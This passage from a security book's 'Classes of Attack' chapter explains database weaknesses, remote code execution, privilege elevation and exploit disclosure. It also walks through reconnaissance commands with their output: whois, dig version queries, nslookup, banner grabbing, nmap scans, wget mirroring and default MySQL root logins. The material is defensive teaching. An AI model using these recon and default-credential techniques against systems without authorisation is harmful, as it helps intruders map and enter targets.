having swap memory snooped through.This is due to the creation of the swap
file with world-readable permissions. An attacker on a system could arbitrarily
create a heavy load on system memory, causing the system to use the swap file. In
doing so, the attacker could make a number of copies of swap memory at different
states, which could later be picked through for passwords or other sensitive
information.
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70 Chapter 3 • Classes of Attack
Attacks against Databases
At one point in my career, I had considered becoming an Oracle database administrator.
I continued on with the systems and security segment of my career. As I
got more exposure to database administration, I discovered the only thing I could
think of that was as stressful as having the entire financial well-being of a company
resting on me would be going to war. And given my pick of the two, I
think I would take the latter.
Databases present a world of opportunity to attackers. Fulfilling our human
needs to organize, categorize, and label things, we have built central locations of
information.These central locations are filled with all sorts of goodies, such as
financial data, credit card information, payroll data, client lists, and so forth.The
thought of insecure database software is enough to keep a CEO awake at night,
let alone send a database administrator into a nervous breakdown. In these days of
post-dot-com crash, e-commerce is still alive and well.And where there is commerce,
there are databases.
Risky Business
Databases are forced to fight a two-front war.They are software, and are therefore
subject to the problems that all software must face, such as buffer overflows, race
conditions, denials of service, and the like. Additionally, databases are usually a
backend for something else, such as a Web interface, graphical user interface tool,
or otherwise. Databases are only as secure as the software they run and the interfaces
they communicate with.
Web interfaces tend to be a habitual problem for databases.The reasons for
this are that Web interfaces fail to filter special characters or that they are
designed poorly and allow unauthorized access, to name only two.This assertion
is backed by the fact that holes are found in drop-in e-commerce packages on a
regular basis.
Handling user-supplied input is risky business. A user can, and usually will,
supply anything to a Web front end. Sometimes this is ignorance on the part of
the user, while other times this is the user attempting to be malicious. Scripts
must be designed to filter out special characters such as the single quote ('), slash
(/), backslash (\), and double quote (") characters, or this will quickly be taken
advantage of.A front-end permitting the passing of special characters to a
database will permit the execution of arbitrary commands, usually with the permission
of the database daemons.
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Classes of Attack • Chapter 3 71
Poorly designed front-ends are a different story. A poorly designed front-end
will permit a user to interact and manipulate the database in a number of ways.
This can allow an attacker to view arbitrary tables, perform SQL commands, or
even arbitrarily drop tables.These risks are nothing new, but the problems continue
to occur.
Database Software
Database software is an entirely different collection of problems. A database is
only as secure as the software it uses—oftentimes, that isn’t particularly reassuring.
For example,Oracle has database software available for several different platforms.
A vulnerability in the 8.1.5 through 8.1.7 versions of Oracle was discovered
by Nishad Herath and Brock Tellier of Network Associates COVERT Labs.
The problem they found was specifically in the TNS Listener program used with
Oracle.
For the unacquainted,TNS Listener manages and facilitates connections to
the database. It does so by listening on an arbitrary data port, 1521/TCP in
newer versions, and waiting for incoming connections. Once a connection is
received, it allows a person with the proper credentials to log into a database.
The vulnerability, exploited by sending a maliciously crafted Net8 packet to
the TNS Listener process, allows an attacker to execute arbitrary code and gain
local access on the system. For UNIX systems, this bug was severe, because it
allowed an attacker to gain local access with the permissions of the Oracle user.
For Windows systems, this bug was extremely severe, because it allowed an
attacker to gain local access with LocalSystem privileges, equivalent to administrative
access.We discuss code execution in the next section.
SECURITY ALERT
Oracle is not the only company with the problem described in this section.
Browsing various exploit collections or the SecurityFocus vulnerability
database, one can discover vulnerabilities in any number of
database products, such as MySQL and Microsoft SQL. And although this
may lead to the knee-jerk reaction of drawing conclusions about which
product is more secure, do not be fooled. The numbers are deceptive,
because these are only the known vulnerabilities.
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72 Chapter 3 • Classes of Attack
Database Permissions
Finally, we discuss database permissions.The majority of these databases can use
their own permission schemes separate from the operating system. For example,
version 6.5 and earlier versions of Microsoft’s SQL Server can be configured to
use standard security, which means they use their internal login validation process
and not the account validation provided with the operating system. SQL Server
ships with a default system administrator account named SA that has a default
null password.This account has administrator privileges over all databases on the
entire server. Database administrators must ensure that they apply a password to
the SA account as soon as they install the software to their server.
Databases on UNIX can also use their own permission schemes. For example,
MySQL maintains its own list of users separate from the list of users maintained
by UNIX. MySQL has an account named root (which is not to be confused with
the operating system’s root account) that, by default, does not have a password. If
you do not enter a password for MySQL’s root account, then anyone can connect
with full privileges by entering the following command:
mysql –u root
If an individual wanted to change items in the grant tables and root was not
passworded, she could simply connect as root using the following command:
mysql –u root mysql
Even if you assign a password to the MySQL root account, users can connect
as another user by simply substituting the other person’s database account name
in place of their own after the –u if you have not assigned a password to that particular
MySQL user account. For this reason, assigning passwords to all MySQL
users should be a standard practice in order to prevent unnecessary risk.
Remote Arbitrary Code Execution
Remote code execution is one of the most commonly used methods of
exploiting systems. Several noteworthy attacks on high profile Web sites have
been due to the ability to execute arbitrary code remotely. Remote arbitrary
code is serious in nature because it often does not require authentication and
therefore may be exploited by anybody.
Returning to the military scenario, suppose the enemy General’s reconnaissance
troops are able to slip past the other side’s guards.They can then sit and
map the others’ position, and return to the General with camp coordinates, as
well as the coordinates of things within the opposing side’s camp.
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Classes of Attack • Chapter 3 73
The General can then pass this information to his Fire Support Officer
(FSO), and the FSO can launch several artillery strikes to “soften them up.” But
suppose for a moment that the opposing side knows about the technology
behind the artillery pieces the General’s army is using. And suppose that they
have the capability to remotely take control of the coordinates input into the
General’s artillery pieces—they would be able to turn the pieces on the General’s
own army.
This type of control is exactly the type of control an attacker can gain by
executing arbitrary code remotely. If the attacker can execute arbitrary code
through a service on the system, the attacker can use the service against the
system, with power similar to that of using an army’s own artillery against them.
Several methods allow the execution of arbitrary code.Two of the most common
methods used are buffer overflows and format string attacks.
NOTE
For additional buffer overflow information, study Aleph1’s “Smashing
The Stack For Fun And Profit,” Phrack issue 49, article 14 available at
www.phrack.com/show.php?p=49&a=14. For information within this
book, turn to Chapter 8.
For information on format string vulnerabilities, Chapter 9 includes a
detailed discussion of format string vulnerabilities. Additionally, study
Team Teso’s whitepaper at www.team-teso.net/articles/formatstring/
index.html.
The Attack
Remote code execution is always performed by an automated tool.Attempting
to manually remotely execute code would be at the very best near impossible.
These attacks are typically written into an automated script.
Remote arbitrary code execution is most often aimed at giving a remote user
administrative access on a vulnerable system.The attack is usually prefaced by an
information gathering attack, in which the attacker uses some means such as an
automated scanning tool to identify the vulnerable version of software. Once
identified, the attacker executes the script against the program with hopes of
gaining local administrative access on the host.
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74 Chapter 3 • Classes of Attack
Once the attacker has gained local administrative access on the system, the
attacker initiates the process discussed in the “Misinformation” section.The
attacker will do his best to hide his presence inside the system. Following that, he
may use the compromised host to launch remote arbitrary code execution attacks
against other hosts.
Although remote execution of arbitrary code can allow an attacker to execute
commands on a system, it is subject to some limitations.
Code Execution Limitations
Remote arbitrary code execution is bound by limitations such as ownership and
group membership.These limitations are the same as imposed on all processes
and all users
On UNIX systems, processes run on ports below 1024 are theoretically rootowned
processes. However, some software packages, such as the Apache Web
Server, are designed to change ownership and group membership, although it
must be started by the superuser. An attacker exploiting an Apache HTTP process
would gain only the privileges of the HTTP server process.This would allow the
attacker to gain local access, although as an unprivileged user. Further elevation of
privileges would require exploiting another vulnerability on the local system.This
limitation makes exploiting nonprivileged processes tricky, as it can lead to being
caught when system access is gained.
The changing of a process from execution as one user of higher privilege to a
user of lower privilege is called dropping privileges. Apache can also be placed in a
false root directory that isolates the process, known as change root, or chroot.
A default installation of Apache will drop privileges after being started. A separate
infrastructure has been designed for chroot, including a program that can
wrap most services and lock them into what is called a chroot jail.The jail is
designed to restrict a user to a certain directory.The chroot program will allow
access only to programs and libraries from within that directory.This limitation
can also present a trap to an attacker not bright enough to escape the jail.
If the attacker finds himself with access to the system and bound by these limitations,
the attacker will likely attempt to gain elevated privileges on the system.
Elevation of Privileges
Of all attacks launched, elevation of privileges is certainly the most common.An
elevation of privileges occurs when a user gains access to resources that were not
authorized previously.These resources may be anything from remote access to a
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Classes of Attack • Chapter 3 75
system to administrative access on a host. Privilege elevation comes in various
forms.
Remote Privilege Elevation
Remote privilege elevation can be classified to fall under one of two categories.
The first category is remote unprivileged access, allowing a remote user unauthorized
access to a system as a regular user.The second type of remote privilege
elevation is instantaneous administrative access.
A number of different vectors can allow a user to gain remote access to a
system.These include topics we have previously discussed, such as the filtering of
special characters by Web interfaces, code execution through methods such as
buffer overflows or format string bugs, or through data obtained from information
leakage. All of these problems pose serious threats, with the end result being
potential disaster.
Remote Unprivileged User Access
Remote privilege elevation to an unprivileged user is normally gained through
attacking a system and exploiting an unprivileged process.This is defined as an
elevation of privileges mainly because the attacker previously did not have access
to the local system, but does now. Some folks may scoff at this idea, as I once did.
David Ahmad, the moderator of Bugtraq, changed my mind.
One night over coffee, he and I got on the topic of gaining access to a
system.With my history of implementing secure systems, I was entirely convinced
that I could produce systems that were near unbreakable, even if an attacker were
to gain local access. I thought that measures such as non-executable stacks,
restricted shells, chrooted environments, and minimal setuid programs could keep
an attacker from gaining administrative access for almost an eternity. Later on that
evening, Dave was kind enough to show me that I was terribly, terribly wrong.
Attackers can gain local, unprivileged access to a system through a number of
ways. One way is to exploit an unprivileged service, such as the HTTP daemon,
a chrooted process, or another service that runs as a standard user. Aside from
remotely executing code to spawn a shell through one of these services, attackers
can potentially gain access through other vectors. Passwords gained through ASP
source could lead to an attacker gaining unprivileged access under some circumstances.
A notorious problem is, as we discussed previously, the lack of specialcharacter
filtering by Web interfaces. If an attacker can pass special characters
through a Web interface, the attacker may be able to bind a shell to a port on the
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76 Chapter 3 • Classes of Attack
system. Doing so will not gain the attacker administrative privileges, but it will
gain the attacker access to the system with the privileges of the HTTP process.
Once inside, to quote David Ahmad,“it’s only a matter of time.”
Remote Privileged User Access
Remote privileged user access is the more serious of the two problems. If a
remote user can obtain access to a system as a privileged user, the integrity of the
system is destined to collapse. Remote privileged user access can be defined as an
attacker gaining access to a system with the privileges of a system account.These
accounts include uucp, root, bin, and sys on UNIX systems, and Administrator or
LocalSystem on Windows 2000 systems.
The methods of gaining remote privileged user access are essentially the same
as those used to gain unprivileged user attacks. A few key differences separate the
two, however. One difference is in the service exploited.To gain remote access as
a privileged user, an attacker must exploit a service that runs as a privileged user.
The majority of UNIX services still run as privileged users. Some of these,
such as telnet and SSH, have recently been the topic of serious vulnerabilities.
The SSH bug is particularly serious.The bug, originally discovered by Michal
Zalewski, was originally announced in February of 2001. Forgoing the deeply
technical details of the attack, the vulnerability allowed a remote user to initiate a
malicious cryptographic session with the daemon. Once the session was initiated,
the attacker could exploit a flaw in the protocol to execute arbitrary code, which
would run with administrative privileges, and bind a shell to a port with the
effective userid of 0.
Likewise, the recent vulnerability in Windows 2000 IIS made possible a
number of attacks on Windows NT systems. IIS 5.0 executes with privileges
equal to that of the Administrator.The problem was a buffer overflow in the
ISAPI indexing infrastructure of IIS 5.0.This problem made possible numerous
intrusions, and the Code Red worm and variants.
Remote privileged user access is also the goal of many Trojans and backdoor
programs. Programs such as SubSeven, Back Orifice, and the many variants produced
can be used to allow an attacker remote administrative privileges on an
infected system.The programs usually involve social engineering, broadly defined
as using misinformation or persuasion to encourage a user to execute the program.
Though the execution of these programs do not give an attacker elevated
privileges, the use of social engineering by an attacker to encourage a privileged
user to execute the program can allow privileged access. Upon execution, the
attacker needs simply to use the method of communication with the malicious
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Classes of Attack • Chapter 3 77
program to watch the infected system, perform operations from the system, and
even control the users ability to operate on the system.
Other attacks may gain a user access other than administrative, but privileged
nonetheless. An attacker gaining this type of access is afforded luxuries over the
standard user, because this allows the attacker access to some system binaries, as
well as some sensitive system facilities. A user exploiting a service to gain access as
a system account other than administrator or root will likely later gain administrative
privileges.
These same concepts may also be applied to gaining local privilege elevation.
Through social engineering or execution of malicious code, a user with local
unprivileged access to a system may be able to gain elevated privileges on the
local host.
Identifying Methods of
Testing for Vulnerabilities
Testing a system for vulnerabilities is the best way to ensure that the system is, or
is not, vulnerable to a particular problem.Vulnerability testing is a necessary and
mandatory task for anybody involved with the administration or security of
information systems.You can only ensure system security by attempting to break
into your own systems.
Up to this point, we have discussed the different types of vulnerabilities that
may be used to exploit a system. In this section, we discuss the methods of
finding and proving that vulnerabilities exist, including exploit code.We also discuss
some of the methods used in gathering information prior to launching an
attack on a system, such as the use of Nmap.
Proof of Concept
One standard method used among the security community is what is termed
proof of concept. Proof of concept can be roughly defined as an openly discussed
and reliable method of testing a system for a vulnerability. It is usually supplied by
either a vendor, or a security researcher in a full disclosure forum.
Proof of concept is used to demonstrate that a vulnerability exists. It is not a
exploit per se, but more of a demonstration of the problem through either some
small segment of code that does not exploit the system for the attacker’s gain, or
a technical description that shows a user how to reproduce the problem.This
proof of concept can be used by a member of the community to identify the
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78 Chapter 3 • Classes of Attack
source of the problem, recommend a workaround, and in some cases recommend
a fix prior to the release of a vendor-released patch. It can also be used to identify
vulnerable systems.
Proof of concept is used as a tool to notify the security community of the
problem, while giving a limited amount of details.The goal of this approach is
simply to produce a time buffer between the time when the vulnerability is
announced, to the time when malicious users begin producing code to take
advantage of this vulnerability and go into a frenzy of attacks.The time buffer is
created for the benefit of the vendor to give them time to produce a patch for
the problem and release it.
Exploit Code
Another method used in the community is exploit code. Exploit code can be
roughly defined as a program that is designed to take advantage of a problem in
some piece of software and to execute a set of commands of the attacker’s
choosing to take advantage of the software. Exploit code will allow a user to take
advantage of a problem for personal gain.
Exploit code is also a type of proof of concept. It is designed to show more
detail of how the vulnerability can be attacked and exploited and to prove further
that the vulnerability is not theoretical. Exploit code can be written in one of any
number of languages, including C, Perl, and Assembly.
Exploit code is a double-edged sword. It provides the community with a
working program to demonstrate the vulnerability, take advantage of the vulnerability,
and produce some gain to the user executing the program. It also makes
the attack of systems by malicious users possible. Exploit code is in general a
good thing, because it offers clarity in exploitation of the vulnerability, and provides
motivation to vendors to produce a patch.
Often, a vendor will happily take its sweet time to produce a patch for the
problem, allowing attackers who may know of the problem, and have their own
working exploit for the problem, to take advantage of it and break into systems.
Producing a working exploit and releasing it to the community is a method of
lighting a fire of motivation under the rear-ends of vendors, making them the
responsible party for producing results after the vulnerability has been
announced.
The system is, as mentioned, a double-edged sword. Releasing a working
exploit means releasing a working program that takes advantage of a problem to
allow the user of the program personal gain. Most forums that communicate
technical details in the vulnerability of software and share working exploits in
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Classes of Attack • Chapter 3 79
programs are monitored by many members, all with their own motivations.The
release of such a program can allow members with less scruples than others to
take advantage of the freely available working exploits, and use them for personal
and malicious gain.
Automated Security Tools
Automated security tools are software packages designed by vendors to allow
automated security testing.These tools are typically designed to use a nice user
interface and generate reports.The report generation feature allows the user of
the tool to print out a detailed list of problems with a system and track progress
on securing the system.
Automated security tools are yet another double-edged sword.They allow
legitimate users of the tools to perform audits to secure their networks and track
progress of securing systems.They also allow malicious users with the same tool
to identify vulnerabilities in hosts and potentially exploit them for personal gain.
Automated security tools are beneficial to all.They provide users who may be
lacking in some areas of technical knowledge the capability to identify and secure
vulnerable hosts.The more useful tools offer regular updates, with plug-ins
designed to test for new or recent vulnerabilities.
A few different vendors provide these tools. Commercially available are the
CyberCop Security Scanner by Network Associates, NetRecon by Symantec, and
the Internet Scanner by Internet Security Systems. Freely available is Nessus,
from the Nessus Project. For more details, see Chapter 17 of this book.
Versioning
Versioning is the failsafe method of testing a system for vulnerabilities. It is the
least entertaining to perform in comparison to the previously mentioned
methods. It does, however, produce reliable results.
Versioning consists of identifying the versions, or revisions, of software a
system is using.This can be complex, because many software packages include a
version, such as Windows 2000 Professional, or Solaris 8, and many packages
included with a versioned piece of software also include a version, such as wget
version 1.7.This can prove to be added complexity, and often a nightmare in
products such as a Linux distribution, which is a cobbled-together collection of
software packages, all with their own versions.
Versioning is performed by monitoring a vendor list.The concept is actually
quite simple—it entails checking software packages against versions announced to
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80 Chapter 3 • Classes of Attack
have security vulnerabilities.This can be done through a variety of methods. One
method is to actually perform the version command on a software package, such
as the uname command, shown in Figure 3.7.
Another method is using a package tool or patch management tool supplied
by a vendor to check your system for the latest revision (see Figure 3.8).
Versioning can be simplified in a number of ways. One is to produce a
database containing the versions of software used on any one host. Additionally,
creating a patch database detailing which fixes have been applied to a system can
ease frustration, misallocation of resources, and potential vulnerability.
Standard Research Techniques
It has been said that 97 percent of all attackers are script kiddiots.The group to
worry about is the other three percent.This group is exactly who you want to
emulate in your thinking. Lance Spitzner, one of the most well rounded security
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Figure 3.7 uname –a Gives Kernel Revision on a Linux Machine
Classes of Attack • Chapter 3 81
engineers (and best all-around guys) in the security community wrote some documents
sometime ago that summed it up perfectly. Borrowing a maxim written
by Sun Tzu in The Art of War, Spitzner’s papers were titled “Know Your Enemy.”
They are available through the Honeynet Project at http://project.honeynet.org.
We should first define an intelligent attack. An attack is an act of aggression.
Intelligence insinuates that cognitive skills are involved. Launching an intelligent
attack means first gathering intelligence.This can be done through information
leakage or through a variety of other resource available on the Internet. Let’s look
at some methods used via a Whois database, the Domain Name System (DNS),
Nmap, and Web indexing.
Whois
The Whois database is a freely available compilation of information designed to
maintain contact information for network resources. Several Whois databases are
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Figure 3.8 showrev –p on a Sun Solaris System
82 Chapter 3 • Classes of Attack
available, including the dot-com Whois database, the dot-biz Whois database, and
the American Registry of Internet Numbers database, containing name servicebased
Whois information, and network-based Whois information.
Name Service-Based Whois
Name service-based Whois data provides a number of details about a domain.
These details include the registrant of the domain, the street address the domain
is registered to, and a contact number for the registrant.This data is supplied to
facilitate the communication between domain owners in the event of a problem.
This is the ideal method of handling problems that arise, although these days the
trend seems to be whining to the upstream provider about a problem first (which
is extremely bad netiquette). Observe the following information:
elliptic@ellipse:~$ whois cipherpunks.com
Whois Server Version 1.3
Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
Domain Name: CIPHERPUNKS.COM
Registrar: ENOM, INC.
Whois Server: whois.enom.com
Referral URL: http://www.enom.com
Name Server: DNS1.ENOM.COM
Name Server: DNS2.ENOM.COM
Name Server: DNS3.ENOM.COM
Name Server: DNS4.ENOM.COM
Updated Date: 05-nov-2001
>>> Last update of whois database: Mon, 10 Dec 2001 05:15:40 EST <<<
The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.
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Classes of Attack • Chapter 3 83
Found InterNIC referral to whois.enom.com.
Access to eNom's Whois information is for informational
purposes only. eNom makes this information available "as is,"
and does not guarantee its accuracy. The compilation, repackaging,
dissemination or other use of eNom's Whois information in its
entirety, or a substantial portion thereof, is expressly prohibited
without the prior written consent of eNom, Inc. By accessing and
using our Whois information, you agree to these terms.
Domain name: cipherpunks.com
Registrant:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
Administrative:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
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84 Chapter 3 • Classes of Attack
Billing:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
Technical:
Cipherpunks
Elliptic Cipher (elliptic@cipherpunks.com)
678-464-0377
FAX: 770-393-1078
PO Box 211206
Montgomery, AL 36121
US
DOMAIN CREATED : 2000-11-12 23:57:56
DOMAIN EXPIRES : 2002-11-12 23:57:56
NAMESERVERS:
DNS1.ENOM.COM
DNS2.ENOM.COM
DNS3.ENOM.COM
DNS4.ENOM.COM
In this example, you can see the contact information for the owner of the
Cipherpunks.com domain. Included are the name, contact number, fax number,
and street address of the registering party.
The Whois database for name service also contains other information, some
of which could allow exploitation. One piece of information contained in name
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Classes of Attack • Chapter 3 85
service records is the domain name servers.This data can present a user with a
method to attack and potentially control a domain.
Another piece of information that is regularly abused in domain name
records is the e-mail address. In a situation where multiple people are administering
a domain, an attacker could use this information to launch a social engineering
attack. More often then not though, this information is targeted by
spammers. Companies such as Network Solutions even sell this information to
“directed marketing” firms (also know as spam companies) to clutter your mail
box with all kinds of rubbish, according to Newsbytes article “ICANN To Gauge
Privacy Concerns Over ‘Whois’ Database” available at www.newsbytes.com/
news/01/166711.html.
Network Service-Based Whois
Network service-based Whois data provides details of network management data.
This data can aid network and security personnel with the information necessary
to reach a party responsible for a host should a problem ever arise. It provides
data such as the contact provider of the network numbers, and in some situations
the company leasing the space. Observe the following Whois information:
elliptic@ellipse:~$ whois -h whois.arin.net 66.38.151.10
GT Group Telecom Services Corp. (NETBLK-GROUPTELECOM-BLK-
3) GROUPTELECOM-BLK-3
66.38.128.0 - 66.38.255.255
Security Focus (NETBLK-GT-66-38-151-0) GT-66-38-151-0
66.38.151.0 - 66.38.151.63
To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.
The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
As you can see from this information, the address space from 66.38.151.0
through 66.38.151.63 is used by SecurityFocus. Additionally, this address space is
owned by GT Group Telecom.
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86 Chapter 3 • Classes of Attack
This information can give an attacker boundaries for a potential attack. If the
attacker wanted to compromise a host on a network belonging to SecurityFocus,
the attacker would need only target the hosts on the network segment supplied
by ARIN.The attacker could then use a host on the network to target other
hosts on the same network, or even different networks.
Domain Name System
Domain Name System (DNS) is another service an attacker may abuse to gain
intelligence before making an attack on a network. DNS is used by every host on
the Internet, and provides a choke point through its design.We do not focus on
the problems with the protocol, but more on abusing the service itself.
A host of vulnerabilities have been discovered in the most widely deployed
name service resolving package on the Internet.The Berkeley Internet Name
Domain, or BIND, has in the past had a string of vulnerabilities that could allow
an attacker to gain remote administrative access. Also notable is the vulnerability
in older versions that allowed attackers to poison the DNS cache, fooling clients
into visiting a different site when typing a domain name. Let’s look at the
methods of identifying vulnerable implementations of DNS.
Digging
Dig is freely available—it’s distributed with BIND packages. It is a flexible command-
line tool that can be used to gather information from DNS servers. Dig
can be used both in command-line and interactive modes.The dig utility is supplied
with many free operating systems and can be downloaded as part of the
BIND package from the Internet Software Consortium.
Dig can be used to resolve the names of hosts into IP addresses, and reverseresolve
IP addresses into names.This can be useful, because many exploits do not
include the ability to resolve names, and need numeric addresses to function.
Dig can also be used to gather version information from name servers. In
doing so, an attacker may be able to gather information on a host and potentially
launch an attack. By identifying the version of a name server, we may be able to
find a name server that can be attacked and exploited to our gain (recall our discussion
about versioning).
Consider the following example use of dig:
elliptic@ellipse:~$ dig @pi.cipherpunks.com TXT CHAOS version.bind
; <<>> DiG 8.2 <<>> @pi.cipherpunks.com TXT CHAOS version.bind
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Classes of Attack • Chapter 3 87
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.1"
;; Total query time: 172 msec
;; FROM: ellipse to SERVER: pi.cipherpunks.com 192.168.1.252
;; WHEN: Mon Dec 10 07:53:27 2001
;; MSG SIZE sent: 30 rcvd: 60
From this query, we were able to identify the version of BIND running on
pi, in the cipherpunks.com domain. As you can see, pi is running a version of
BIND that is vulnerable to a number of attacks, one of which is NXT buffer
overflow discovered in 1999, and allows an attacker to gain remote access to the
vulnerable system with the privileges of BIND (typically run as root).
Loosely implemented name services may also yield more information than
expected. Utilities such as dig can perform other DNS services, such as a zone
transfer.A zone transfer is the function used by DNS to distribute its name service
records to other hosts. By manually pulling a zone transfer, an attacker can
gain valuable information about systems and addresses managed by a name server.
nslookup
nslookup, short for Name Service Lookup, is another utility that can be handy. It
can yield a variety of information, both good and bad. It is also freely available
from the Internet Software Consortium.
nslookup works much the same way as dig, and like dig provides both a command
line and interactive interface to work from. Upon use, nslookup will seek
out information on hosts through DNS and return the information. nslookup
can yield information about a domain that may be sensitive as well, albeit public.
For example, nslookup can be used to find information about a domain such
as the Mail Exchanger, or MX record.This can lead to a number of attacks
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88 Chapter 3 • Classes of Attack
against a mail server, including attempting to spam the mail server into a denial of
service, attacking the software to attempt to gain access to the server, or using the
mail server to spam other hosts if it permits relaying. Observe the following
example:
elliptic@ellipse:~$ nslookup
Default Server: cobalt.speakeasy.org
Address: 216.231.41.22
> set type=MX
> cipherpunks.com.
Server: cobalt.speakeasy.org
Address: 216.231.41.22
cipherpunks.com preference = 10, mail exchanger = parabola.
cipherpunks.com
cipherpunks.com nameserver = DNS1.ENOM.COM
cipherpunks.com nameserver = DNS2.ENOM.COM
cipherpunks.com nameserver = DNS3.ENOM.COM
cipherpunks.com nameserver = DNS4.ENOM.COM
cipherpunks.com nameserver = DNS5.ENOM.COM
DNS1.ENOM.COM internet address = 66.150.5.62
DNS2.ENOM.COM internet address = 63.251.83.36
DNS3.ENOM.COM internet address = 66.150.5.63
DNS4.ENOM.COM internet address = 208.254.129.2
DNS5.ENOM.COM internet address = 210.146.53.77
Here, you can see the mail exchanger for the cipherpunks.com domain.The
host, parabola.cipherpunks.com, can then be tinkered with to gain more information.
For example, if the system is using a version of Sendmail that allows you to
expand user accounts, you could find out the e-mail addresses of the system
administrators. It can also yield what type of mail transport agent software is
being used on the system, as in the following example:
elliptic@ellipse:~$ telnet modulus.cipherpunks.com 25
Trying 192.168.1.253...
Connected to 192.168.1.253.
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Classes of Attack • Chapter 3 89
Escape character is '^]'.
220 modulus.cipherpunks.com ESMTP Server (Microsoft Exchange Internet
Mail Service 5.5.2448.0) ready
As you can see, the mail server happily tells us what kind of software it is
(Microsoft Exchange). From that, you can draw conclusions about what type of
operating system runs on the host modulus.
Nmap
An attack to gain access to a host must be launched against a service running on
the system.The service must be vulnerable to a problem that will allow the
attacker to gain access. It is possible to guess what services the system uses from
some methods of intelligence gathering. It is also possible to manually probe
ports on a system with utilities such as netcat to see if connectivity can be made
to the service.
The process of gathering information on the available services on a system is
simplified by tools such as the Network Mapper, or Nmap. Nmap, as we previously
mentioned, uses numerous advanced features when launched against a
system to identify characteristics of a host.These features include things such as
variable TCP flag scanning and IP response analysis to guess the operating system
and identify listening services on a host.
Nmap can be used to identify services on a system that are open to public
use. It can also identify services that are listening on a system but are filtered
through an infrastructure such as TCP Wrappers, or firewalling. Observe the following
output:
elliptic@ellipse:~$ nmap -sS -O derivative.cipherpunks.com
Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on derivative.cipherpunks.com (192.168.1.237):
(The 1533 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp filtered telnet
25/tcp open smtp
37/tcp open time
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90 Chapter 3 • Classes of Attack
53/tcp open domain
80/tcp open http
110/tcp open pop-3
143/tcp open imap2
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 11.096 days (since Thu Nov 29 08:03:12 2001)
Nmap run completed -- 1 IP address (1 host up) scanned in 60 seconds
Let’s examine this scan a piece at a time. First, we have the execution of
Nmap with the sS and O flags.These flags tell Nmap to conduct a SYN scan on
the host, and identify the operating system from the IP responses received. Next,
we see three columns of data. In the first column from the left to right, we see
the port and protocol that the service is listening on. In the second column, we
see the state of the state of the port, either being filtered (as is the telnet service,
which is TCP Wrapped), or open to public connectivity, like the rest.
Web Indexing
The next form of intelligence gathering we will mention is Web indexing, or what
is commonly called spidering. Since the early 90s, companies such as Yahoo!,
WebCrawler, and others have used automated programs to crawl sites, and index
the data to make it searchable by visitors to their sites.This was the beginning of
the Web Portal business.
Site indexing is usually performed by an automated program.These programs
exist in many forms, by many different names. Some different variants of these
programs are robots, spiders, and crawlers, all of which perform the same function
but have distinct and different names for no clear reason.These programs follow
links on a given Web site and record data on each page visited.The data is
indexed and referenced in a relational database and tied to the search engine.
When a user visits the portal, searching for key variables will return a link to the
indexed page.
However, what happens when sensitive information contained on a Web site is
not stored with proper access control? Because data from the site is archived, this
could allow an attacker to gain access to sensitive information on a site and gather
intelligence by merely using a search engine.As mentioned before, this is not a new
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Classes of Attack • Chapter 3 91
problem. From the present date all the way back to the presence of the first search
engines, this problem has existed. Unfortunately, it will continue to exist.
The problem is not confined to portals.Tools such as wget can be used to
recursively extract all pages from a site.The process is as simple as executing the
program with the sufficient parameters. Observe the following example:
elliptic@ellipse:~$ wget -m -x http://www.mrhal.com
--11:27:35-- http://www.mrhal.com:80/
=> `www.mrhal.com/index.html'
Connecting to www.mrhal.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,246 [text/html]
0K -> . [100%]
11:27:35 (243.36 KB/s) - `www.mrhal.com/index.html' saved [1246/1246]
Loading robots.txt; please ignore errors.
--11:27:35-- http://www.mrhal.com:80/robots.txt
=> `www.mrhal.com/robots.txt'
Connecting to www.mrhal.com:80... connected!
HTTP request sent, awaiting response... 404 Not Found
11:27:35 ERROR 404: Not Found.
--11:27:35-- http://www.mrhal.com:80/pics/hal.jpg
=> `www.mrhal.com/pics/hal.jpg'
Connecting to www.mrhal.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 16,014 [image/jpeg]
0K -> .......... ..... [100%]
11:27:35 (1.91 MB/s) - `www.mrhal.com/pics/hal.jpg' saved [16014/16014]
[…]
FINISHED --11:27:42--
Downloaded: 1,025,502 bytes in 44 files
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92 Chapter 3 • Classes of Attack
We have denoted the trimming of output from the wget command with the
[…] symbol, because there were 44 files downloaded from the Web site
www.mrhal.com (reported at the end of the session). Wget was executed with the
m and x flags.The m flag, or mirror flag, sets options at the execution of wget to
download all of the files contained within the Web site www.mrhal.com by following
the links.The x flag is used to preserve the directory structure of the site
when it is downloaded.
This type of tool can allow an attacker to index or mirror a site. Afterwards,
the attacker can make use of standard system utilities to sort through the data
rapidly. Programs such as grep will allow the attacker to look for strings that may
be of interest, such as “password,”“root,”“passwd,” or other such strings.
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Classes of Attack • Chapter 3 93
Summary
There are seven categories of attack, including denial of service (DoS), information
leakage, regular file access, misinformation, special file/database access,
remote arbitrary code execution, and elevation of privileges.
A denial of service attack occurs when a resource is intentionally blocked or
degraded by an attacker. Local denial of service attacks are targeted towards process
degradation, disk space consumption, or inode consumption. Network denial
of service attacks may be launched as either a server-side or client-side attack
(one means of launching a denial of service attack against Web browsers are
